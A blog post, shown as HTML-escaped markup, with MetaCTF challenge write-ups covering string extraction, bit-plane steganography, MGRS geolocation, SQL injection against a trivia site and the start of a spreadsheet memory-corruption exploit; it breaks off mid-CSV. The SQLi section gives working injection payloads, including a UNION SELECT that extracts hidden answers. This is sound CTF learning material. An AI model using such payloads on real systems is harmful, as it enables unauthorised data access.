&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;We love Baby Shark and all things sharky.&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;pre&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; style&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;border:1px solid #ddd;padding:8px;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;MetaCTF{w1r3sh4rk_do0_d0o_d00_d00_doo_do0}&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;pre&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;all-about-flags&quot;&gt;All About Flags&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I wrote a command line application all about flags! Can you take a look at
it for me?&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;There’s downloads both for
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;1846d06461dd8b20feb4153d20005405&#x2F;all-about-flags.exe&quot;&gt;Windows&lt;&#x2F;a&gt;
and
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;1846d06461dd8b20feb4153d20005405&#x2F;all-about-flags&quot;&gt;Linux&lt;&#x2F;a&gt;,
but they’re functionally the same, just download the version for whichever
OS you prefer.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;There might be more to this one but the flag appears in plaintext in the binary:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; strings all-about-flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; sed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; -rn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; &amp;#39;s@^.*(MetaCTF\{.+\}).*$@\1@p&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;MetaCTF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;{I_f1y_m4ny_fl4g5_4nd_c4p7ur3_3v3n_m0r3}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;rainbow-box&quot;&gt;Rainbow Box&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Several planes crashed in the same location, but we could only find one
black box. All we found was this weird rainbow image? Can you make anything
out?&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Download the image
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;9567319b4223296f1ecfba2957c1e4e9&#x2F;rainbow_box.png&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Planes? &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Bit_plane&quot;&gt;Bit planes&lt;&#x2F;a&gt;? &lt;em&gt;Geddit&lt;&#x2F;em&gt;?&lt;&#x2F;p&gt;
&lt;p&gt;Taking a leaf out of this article on
&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@stephanie.werli&#x2F;image-steganography-with-python-83381475da57&quot;&gt;Image Steganography with Python&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;,
the code therein reveals this:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;metactf-2025-aug-bitplanes-000.png&quot; alt=&quot;bitplanes-000.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;…so characters are indeed hidden in the image but this doesn’t quite make them
legible (as it’s for gray-scale images, as per that article.)&lt;&#x2F;p&gt;
&lt;p&gt;I managed to produce some code that extends the above and produces this:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;metactf-2025-aug-bitplanes-001.png&quot; alt=&quot;bitplanes-001.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;…which has &lt;em&gt;“…all the right notes but not necessarily in the right order.”&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;However, a quick search for “bitplane steganography tool” turns up
&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;georgeom.net&#x2F;StegOnline&#x2F;upload&quot;&gt;StegOnline&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; which manages the above
with little effort: &lt;code&gt;MetaCTF{fly-b1tpl4ne}&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;on-the-grid&quot;&gt;On The Grid&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;a5abc995fb40c48302a17b92cf61ebe8&#x2F;on_the_grid.jpg&quot; alt=&quot;on_the_grid.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I was hanging out on Granite Beach when I found a message in a bottle, it
didn’t say very much though. Can you help me figure out where it came from?
Here’s the transcript:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;Help!&lt;&#x2F;code&gt;&lt;&#x2F;em&gt;
&lt;em&gt;&lt;code&gt;4V FH 246 677&lt;&#x2F;code&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;The answer to the challenge is the name of the location the message was most
likely written at.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Some searching suggests that “FV…” might be a “Military Grid Reference System”.
Given the name of the challenge, that sounds promising.&lt;&#x2F;p&gt;
&lt;p&gt;This site,
&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;latlongdata.com&#x2F;mgrs-converter&#x2F;&quot;&gt;MGRS Converter: Military Grid Reference System&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;,
converts that value to a latitude of &lt;code&gt;56.53711577&lt;&#x2F;code&gt; and longitude of
&lt;code&gt;-156.97382099&lt;&#x2F;code&gt;, which Google Maps shows to be
&lt;em&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;maps.app.goo.gl&#x2F;F6DdBU8Sy2Cv6o3t5&quot;&gt;Foggy Cape&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;super-quick-logic-invitational&quot;&gt;Super Quick Logic Invitational&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I’ll take “Rather Vexing” for 500 Alex.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;This new trivia game is pretty fun, but one of the challenges is impossible!
“What is the flag for this CTF challenge?”, how would I know?! Maybe you’ll
fare better?&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The site presents &lt;em&gt;“201 unique problems to solve each game, you’ll never
believe what’s the answer to challenge 201!”&lt;&#x2F;em&gt;, presumably the flag…?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;“What is the largest prime factor of 625?”&lt;&#x2F;em&gt;. After a surprising number of
lucky guesses, it seems that the classic &lt;code&gt;&#x27; OR 1=1 --&lt;&#x2F;code&gt; works—the site is
vulnerable to SQLi.&lt;&#x2F;p&gt;
&lt;p&gt;Using a classic &lt;code&gt;UNION&lt;&#x2F;code&gt; attack, via &lt;code&gt;&#x27;UNION SELECT &#x27;A&#x27;, &#x27;B&#x27;, &#x27;C&#x27;, &#x27;D&#x27; --&lt;&#x2F;code&gt;,
shows that there are 4 parameters being returned. However, those values don’t
show up until the site’s 30 second countdown has completed, at which point &lt;code&gt;C&lt;&#x2F;code&gt;
shows up in the &lt;em&gt;Answer&lt;&#x2F;em&gt; value.&lt;&#x2F;p&gt;
&lt;p&gt;Thankfully, forcing an error by closing the &lt;code&gt;&#x27;&lt;&#x2F;code&gt; and passing in any ol’ garbage,
like &lt;code&gt;&#x27;!&quot;£$%^&amp;amp;*()_&lt;&#x2F;code&gt;, results in an error:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;    &amp;quot;error&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;unrecognized token: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;    &amp;quot;query&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;SELECT * FROM problems WHERE id = 164 AND answer = &amp;#39;&amp;#39;!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;\&amp;quot;\u00a3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;$%^&amp;amp;*()_&amp;#39;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;…revealing both the table and column of interest. Putting those discoveries
together and passing:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;#39; UNION SELECT &amp;#39;&amp;#39;, &amp;#39;&amp;#39;, (SELECT answer FROM problems WHERE id = 201), &amp;#39;&amp;#39; --&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;…results in a page containing:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Answer: MetaCTF{wh4t_1s_7h3_fl4g_f0r_7hi5_ch5l1eng3}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;spreadsheet&quot;&gt;Spreadsheet&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I can’t afford Office 365 so I’ve decided to roll my own. What could
possibly go wrong!&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;My spreadsheet application is a work in progress but feel free to give it a
try. You can download my program
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;751ed25efb17cbc11a50ed717d81fcdd&#x2F;spreadsheet.zip&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The “spreadsheet” app. is a TUI tool allowing editing, loading, saving and
printing of—as you might guess—a spreadsheet:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; .&#x2F;spreadsheet.bin b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Options:&lt;&#x2F;span&gt;&lt;span&gt; (P)rint, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;E&lt;&#x2F;span&gt;&lt;span&gt;)dit, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;)oad, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;S&lt;&#x2F;span&gt;&lt;span&gt;)ave, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Q&lt;&#x2F;span&gt;&lt;span&gt;)uit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As can be seen from the &lt;code&gt;print_spreadsheet&lt;&#x2F;code&gt; function (courtesy of Ghidra), it
actually occupies a static 10x10 array (of &lt;code&gt;char *&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt; print_spreadsheet&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  int&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  int&lt;&#x2F;span&gt;&lt;span&gt; col;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;  putchar&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  for&lt;&#x2F;span&gt;&lt;span&gt; (col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span&gt;; col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;%c\t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,(ulong)(col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+ 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;41&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;  putchar&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  for&lt;&#x2F;span&gt;&lt;span&gt; (row &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; row &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span&gt;; row &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; row &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;%2d\t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,(ulong)(row &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; (col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span&gt;; col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; col &lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;      printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;%4s\t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;spreadsheet&lt;&#x2F;span&gt;&lt;span&gt;[row][col]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;    putchar&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;  return&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The filename, &lt;code&gt;spreadsheet.csv&lt;&#x2F;code&gt;, is also static and, more importantly, its
pointer sits right next to the above array on the stack.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;edit_spreadsheet&lt;&#x2F;code&gt; contains no validation around which characters can be
entered into a “cell”, so it’s possible to write additional columns:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;csv&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A8FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;EMPTY,&lt;&#x2F;span&gt;&lt;span&gt;EMPTY,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
